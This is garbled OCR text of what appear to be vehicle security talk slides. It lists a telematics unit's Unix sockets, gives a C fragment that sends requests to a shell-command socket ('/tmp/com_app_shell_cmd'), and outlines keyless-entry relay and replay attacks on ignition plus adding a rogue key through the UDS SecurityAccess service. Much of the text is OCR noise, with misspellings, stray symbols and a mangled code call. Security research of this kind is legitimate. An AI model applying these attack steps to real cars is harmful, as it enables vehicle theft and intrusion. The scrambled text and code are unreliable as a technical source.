cad7fa4e0:
cb51e480:
cab542240:
ca543d40:
cab86fco:
cab87b00:
cab86000:

RefCount
20000002
00000002
00000002
00000002
00000002
00000002
00000002
00000002
00000002
00000002
00000002
00000002

Protocol
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
20000000
00000000
00000000

Flags

00010000
00000000
00000000
00000000
00000000
00000000
00010000
00000000
00000000
00000000
00000000
00000000

Type
0001
0002
0002
0002
0002
0002
0001
0002
0002
0002
0002
0002

St
01
01
01
01
01
01
01
01
01
01
01
01

Inode
8192
9993

10283

10285
8016
9363
0405
9537
9538
9539
9540
9541

Path

/tmp/psm_socket/psm
/tmp/.iw_scok
/tmp/ota_app_shell_cnd
/tmp/ota_proxy_fifo_cmd
/data/quectel_pcm_srv
/data/embms_tm_control_file
/data/netmgr_connect_socket
/data/qcmap_dsi_uds_file
/data/qcmap_cmdq_uds_file
/data/qcmap_nas_uds_file
/data/qcmap_dsd_uds_file

/data/qcmap_qmi_service_file

#define SOCK_PATH "/tmp/com_app_shell_cmd"
#define SOCK_PATH2 "/tmp/com_app_shell_manager"

(]
. sockfd = socket(AF_UNIX, SOCK_DGRAM, 0);

e O o e o e am o cD

SOCK_PATH1 !
]

ey O o O o O o o L —

'
3
\

sendto(sockfd, strlen(request), 0, (struct sockaddr*)&addr, sizeof(addr))




Attacking car keyless entry

1ISO-14229(Unified diagnostic services on CAN)

1ISO-13400(Diagnostic communication over Internet Protocol)

INTERNATIONAL ISO
STANDARD 14229-3

First edition
2012-12-01

Road vehicles — Unified diagnostic
services (UDS) —

Part 3:
Unified diagnostic services on CAN
implementation (UDSonCAN)

Véhicules routiers — Services de diagnostic unifiés (SDU) —

Partie 3: SDU sur I'implémentation du gestionnaire de réseau de
communication (SDUsurCAN)

BS ISO 13400-3:2011

Road vehicles — Diagnostic
communication over

Internet Protocol (DolP)
Part 3: Wired vehicle interface based
on |EEE 802.3



Attacking car keyless entry

PEPS will communicate with the key through low-frequency RF

IGN ON &
Qha“e_nge_
—_———
veu Re_sponse,

Engine,



Attacking car keyless entry

Replay ignition command start

IGN ON &

Qhal |e,nge

IGN ON
///./////;////’/ . /{/.// ////// 7/

attacker

Re,sponse_

IGN ON
v,
G

attocker




Attacking car keyless entry

PEPS simulation starts

«

SR

attacker




Attacking car keyless entry

Register new key

Match a new key?

‘.‘ sl K ey . Se_cun“tyAccessé Q%) service
teeccccccecece : E *—9 Secef:t KEY
Database : : .

Add dfar ke,t/ ?




Partiv:
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A Gompiete vehicle security analysis case
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A Gompiete vehicle security analysis case
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A Gompiete vehicle security analysis case
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A Gompiete vehicle security analysis case
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A Gompiete vehicle security analysis case
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A Gompiete vehicle security analysis case
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How to Access T-Box
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Near Source Remote Attack Chain
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Near Source Remote Attack Chain
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